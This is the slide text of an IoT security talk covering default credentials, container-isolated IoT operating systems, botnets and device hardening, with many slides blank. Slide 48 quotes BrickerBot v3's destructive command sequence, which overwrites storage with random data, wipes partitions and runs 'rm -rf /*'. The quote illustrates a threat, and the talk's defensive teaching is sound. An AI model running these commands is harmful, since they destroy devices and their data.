Slide 1

Slide 1 text

No content

Slide 2

Slide 2 text

Internet of Shit The ”S” in “IoT” stands for ”Security”

Slide 3

Slide 3 text

I’m: - Andy - Dev-like - Sec-ish - Ops-y

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

Viktor (@vpetersson) ● Entrepreneur, geek, tinkerer ● Jack-of-all-trades ● Cofounder of ○ Screenly (screenly.io) ○ WoTT (wott.io) ○ (and a few other things)

Slide 6

Slide 6 text

What’s WoTT? ● Enable DevSecOps ● Gamify security ● Provide visibility and alerting ● Started in IoT, now on edge devices and servers

Slide 7

Slide 7 text

© xkcd The sad state of ”smart” devices

Slide 8

Slide 8 text

“The Internet of Things is a science project focused on creating the most complex way possible of turning the lights on.” @domguinard

Slide 9

Slide 9 text

No content

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

No content

Slide 12

Slide 12 text

No content

Slide 13

Slide 13 text

No content

Slide 14

Slide 14 text

No content

Slide 15

Slide 15 text

No content

Slide 16

Slide 16 text

No content

Slide 17

Slide 17 text

https://www.theregister.co.uk/2016/03/25/vnc_roulette/ https://www.tomsguide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12

Slide 18

Slide 18 text

What This Talk is About ● IoT: The State of the Art ● How Containers and Kernel Technologies Can Help ● Botnets and Brickerbots ● Building Better Devices

Slide 19

Slide 19 text

IoT: The State of the Art

Slide 20

Slide 20 text

https://www.wired.com/2016/08/jeep-hackers-return-high-speed-steering-acceleration-hacks/ ●

Slide 21

Slide 21 text

http://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/

Slide 22

Slide 22 text

No content

Slide 23

Slide 23 text

No content

Slide 24

Slide 24 text

No content

Slide 25

Slide 25 text

No content

Slide 26

Slide 26 text

No content

Slide 27

Slide 27 text

No content

Slide 28

Slide 28 text

How We Think IoT Devices Run

Slide 29

Slide 29 text

How IoT Devices Actually Run

Slide 30

Slide 30 text

No content

Slide 31

Slide 31 text

Blockchain all da thingz!

Slide 32

Slide 32 text

Why do IoT devices get compromised? ● Default credentials ● Poor, or non-existent, update cycles ● Insecure services exposed to the network (telnet, ftp, etc) ● No isolation or hardening ● Manufacturers not using common sense

Slide 33

Slide 33 text

IoT Devices vs Servers ● IoT devices are getting more powerful ● More and more are running Linux ○ Except many battery-powered devices ● This means we are deploying general purpose computers into...everything ○ Moore’s law at play ● ...the line is getting blurry between IoT and traditional compute

Slide 34

Slide 34 text

Securing Servers 101 ● What services are running? ○ Do we need all of them? ○ Are any of them publicly exposed on the network? ● Is everything configured with least privilege? ● Are we using process isolation to limit the blast radius of a breach? ● Is everything encrypted in transit? At rest? ● Is the firewall configured? ● Are there any packages installed with known vulnerabilities? ● Are we conformant to documented best practice (CIS, OWASP, et. al.)? ● How do we monitor if any of this changes?

Slide 35

Slide 35 text

Securing IoT Devices 101

Slide 36

Slide 36 text

Sham eless self-plug

Slide 37

Slide 37 text

Containers and IoT

Slide 38

Slide 38 text

Containers to the Rescue! Containers to the Rescue!

Slide 39

Slide 39 text

Modern IoT Operating Systems

Slide 40

Slide 40 text

● “git push master balena” ● Application isolated ● Isolation tool: Docker/BalenaEngine

Slide 41

Slide 41 text

No content

Slide 42

Slide 42 text

● Smaller footprint than “Classic” ● Lots of “read-only” and kernel magic ● Interfaces, slots and plugs ● Snaps, Docker and LXD ● Self-updating ● Isolation tool (primary): AppArmor

Slide 43

Slide 43 text

No content

Slide 44

Slide 44 text

● Everything is a “snap” (including the OS) ● Transactional, cryptographically signed, updates ● Default permission is nill (or almost) ● Permission must be granted explicitly ○ E.g. network access, ports etc

Slide 45

Slide 45 text

- Trusted Domain https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf

Slide 46

Slide 46 text

https://www.networkworld.com/article/3128372/internet-of-things/ddos-at tacks-using-iot-devices-follow-the-manchurian-candidate-model.html

Slide 47

Slide 47 text

No content

Slide 48

Slide 48 text

# BrickerBot v3 device logic $ busybox cat /dev/urandom >/dev/mtdblock0 & $ busybox cat /dev/urandom >/dev/sda & $ busybox cat /dev/urandom >/dev/mtdblock10 & $ busybox cat /dev/urandom >/dev/mmc0 & $ busybox cat /dev/urandom >/dev/sdb & $ busybox cat /dev/urandom >/dev/ram0 & $ busybox cat /dev/urandom >/dev/mtd0 & $ busybox cat /dev/urandom >/dev/mtd1 & $ busybox cat /dev/urandom >/dev/mtdblock1 & $ busybox cat /dev/urandom >/dev/mtdblock2 & $ busybox cat /dev/urandom >/dev/mtdblock3 & $ fdisk -C 1 -H 1 -S1 /dev/mtd0 w $ fdisk -C 1 -H 1 -S1 /dev/mtd1 w $ fdisk -C 1 -H 1 -S1 /dev/sda w $ fdisk -C 1 -H 1 -S1 /dev/mtdblock0 w $ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null & sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1 $ halt -n -f $ reboot

Slide 49

Slide 49 text

How do we get vendors to give a shit?

Slide 50

Slide 50 text

Defence Against the Dark Botnets

Slide 51

Slide 51 text

No content

Slide 52

Slide 52 text

No content

Slide 53

Slide 53 text

No content

Slide 54

Slide 54 text

No content

Slide 55

Slide 55 text

IPv6 IPv6

Slide 56

Slide 56 text

IPv6

Slide 57

Slide 57 text

Building Better IoT Devices

Slide 58

Slide 58 text

No content

Slide 59

Slide 59 text

Device life cycle

Slide 60

Slide 60 text

Common mistakes

Slide 61

Slide 61 text

Designing Better IoT Devices

Slide 62

Slide 62 text

Lessons learned from Screenly

Slide 63

Slide 63 text

Screenly 1 Player + + + +

Slide 64

Slide 64 text

Screenly 2 Player criteria ● Disk images built on CI ● Process isolation (perhaps using containers) ● Transactional updates (app and OS) ○ Automatic roll-back ● Not having to manage the OS layer ourselves ○ Must be locked down/Hardened by default ● Bonus: Cryptographically signed updates

Slide 65

Slide 65 text

Screenly 2 Player + +

Slide 66

Slide 66 text

Recap

Slide 67

Slide 67 text

Conclusion ● Everything is now a computer ○ Whatever that means... ● IoT security is an afterthought at best ● The new breed of containerised IoT platforms greatly enhance the update and security story ● This problem is bigger than all of us: legislation, class action, or revolt is required! This should be supported by financial incentives ● We can fix life cycle and runtime security ● Go forth and patch your devices!

Slide 68

Slide 68 text

@sublimino @controlplaneio @vpetersson @wottsecurity